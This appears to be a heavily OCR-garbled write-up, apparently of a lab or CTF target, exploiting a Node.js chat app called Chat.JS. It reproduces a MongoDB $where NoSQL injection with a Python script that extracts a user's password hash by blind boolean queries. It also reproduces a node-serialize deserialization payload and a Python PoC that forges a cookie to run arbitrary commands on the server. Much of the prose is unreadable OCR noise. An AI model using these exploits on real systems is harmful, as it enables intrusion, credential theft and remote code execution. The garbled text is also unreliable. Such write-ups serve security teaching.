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Q Chat.JS v1.3.2 Usemame

alice | see
alice Hi folks, whats up?

Alice, you really need to have stronger security awareness
app_security

Your password does not meet the requirement, why dont you change a strong one?

network_security

carrot | Exactly...
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) Chat.ds vi3.2

Type a message. Send

| see
Hi folks, whats up?

Alice, you really need to have stronger security awareness
app_security

Your password does not meet the requirement, why dont you change a strong one?
network_security

carrot | Exactly...

[ITTITTTITTTITTTTITT] MongoDB[

app. post(' /register', function(req, res) {
console. log('[*] ' + req.ip + ' > POST /register');
if (req.session. logged in == true) {
res.redirect('/');
} else {
var username = reg. body. username;
var password = reg. body. password;
if (username && password) {
MongoClient. connect(db url, { useNewUrlParser: true, useUnifiedTopology: true },
function(err, db) {
if (err) {

throw err;

var usercount=0
var dbo = db. db("chatjs");
var query = {$where: " this.username == '${username}' " };
dbo. collection("users"). findOne(query, function(err, result) {
if (err) {
throw err;
}
if (result == null) {
res.render('pages/register', {session: req.session, error:"Sorry, the

registration is not open now"});

} else {
res.render(' pages/register', {session: req.session, error:"User

already exists"});
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H;

MTTOTIITIITITIITIIID “User already exists”[TT11] 2 [T1T1

var query = {$where: " this.username == '${username}' " };

dbo. collection("users"). findOne( query, function(err, result) {

[EnisfuSérn@me [TTTTTTTTTIITITT] this.username M NoSQL 111
0 SQL [T username="admin" or 1=1[TTTTTTTITTTTIITITITITIPoC:

username [alice' && '1'=="1

password [T]

Register:

Username alice’ && '1'=="1

Password

Register

(110 alice T TrueI T TrueITTTalitese&dtiready exists" [TTTTTIT] True/False [ITT1T]
this.password.substring(0,1).charCodeAt(0)>"'75[TTTTITIT] padsa25d [TIIIIIE '

48-5797-102[TTTTTTTTTTTTITTITIIIIIIIIIIIIIT] 20 I IIIIIIIITI

(LTI

import requests

import sys
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charset=['48','49','50","'51","'52","'53","'54","'55","'56',"'57","97","98','99','100","'1061',"'102"]

if len(sys.argv)! =3:
[print("Usage: python3 chatjs.py http: //raven-medicine. org: 3000 alice")

ip=sys. argv[ 1]
username=sys. argvl[ 2]

passhash=""

for index in range(64):

[ffor char in charset

[(Ipayload={' username': username+""' &&this. password. substring("+str(index)+", "+str(index+1)+"). ch
arCodeAt(0)==""+str(char),"' password':'123"'}

I#print(payload)

[Ir=requests. post(ip+"/register", data=payload, allow redirects=False)

[IIif "User already exists" in r. text:

[(IIprint("Trus statement! The value of this position is: "+str(chr(int(char))))
[(ITpasshash=passhash+str(chr(int(char)))

[IIpass

print(passhash)
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// Necessary packages for drafts
var cookieParser = require(' cookie-parser');

var serialize = require('node-serialize');

[ TTCOAKIE 1] cookie [TTITTT]

var draft = null;
if (req.session. logged in && req. cookies. draft) {
draft = serialize.unserialize(new Buffer(req. cookies. draft,
'base64' ). toString()). msg;
}

res.render(' pages/index', {messages: result, session: req.session, draft:draft});

([ /post [IITII1draft (Tl

app. post(' /send', function(req, res) {

console. log('[*] ' + reqg.ip + ' > POST /send');
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if (req. session. logged in == true && regq. body. message) {
var post = reg. body. post;
var save = reg. body. save;
if (post !'= null) {
res. cookie('draft','', {expires: new Date()});
console. log(' -- Post');
MongoClient. connect(db url, { useNewUrlParser: true, useUnifiedTopology: true },
function(err, db) {
if (err) {
throw err;
}
var dbo = db. db("chatjs");
dbo. collection(' messages'). insertOne({
author: req. session. user id,
datetime: new Date(),
text: reqg. body. message

}, function() {

db. close();
3
3
} else if (save != null) {
console. log("' -- Save');

var cookie val =
Buffer. from(serialize. serialize({' msg':req. body. message})). toString(' base64');

res. cookie('draft', cookie val, {maxAge: 900000, httpOnly: true});

}
}
res.redirect('/');
1H;
(T draft QI Cookie[T] Cookie ITTTT/ DI nodejs [(TTITITIT]

var serialize = require('node-serialize');
var test = {"msg":" $$ND FUNC$$ function(){ require('child process'). exec("' whoami',
function(error, stdout, stderr) { console. log(stdout) }); }()"};

serialize.unserialize(test);

0 nodejs [I111]



>var y = {
msg : function() {
..... require(' child process'). exec(' whoami', function(error, stdout, stderr) {

console. log(stdout) });

undefined

> var serialize = require('node-serialize');

undefined

> console. log("Serialized: \n" + serialize.serialize(y));

Serialized:

{"msg":" $$ND FUNC$$ function(){\n require('child process'). exec(' whoami', function(error,
stdout, stderr) { console. log(stdout) });\n }"}

undefined

>

[IIITITIT] Python PoC [IT]

import requests
import sys

import base64

if len(sys.argv)! =5:

[print("Usage: python3 chatjs.py http: //raven-medicine. org: 3000 whoami")

ip=sys. argv[ 1]
username=sys. argv| 2]
password=sys. argv[ 3]

command=sys. argvl[ 4]

payload = b' {"msg":" $$ND FUNC$$ function (){require(\'child process\').exec(\' %s\',

function(error, stdout, stderr) { console. log(stdout) });}()"}"' %( command. encode(' utf-8'))

draft = base64. b64encode( payload). decode(' utf-8")
c = {'draft':draft}

print("(+) Generated cookie!")



s=requests. Session()

headers={' Content- type':' application/x- www- form-urlencoded'}
data="username="+username+" &§password="+password

r=s.post(ip+' /auth', headers=headers, data=data, allow redirects=False)
r=s.get(ip+' /', cookies=c)

if "Logged in as" in r. text:

[(print(" Authenticated! ")

T

~/Desktop/dler
charjsrce.py http://raven-medicine.org:30@@ alice elizabeth whoami
erated cookie!

(ffff:73.227.184.156 > POST fauth
1ffff:73.227.184.156 > GET /
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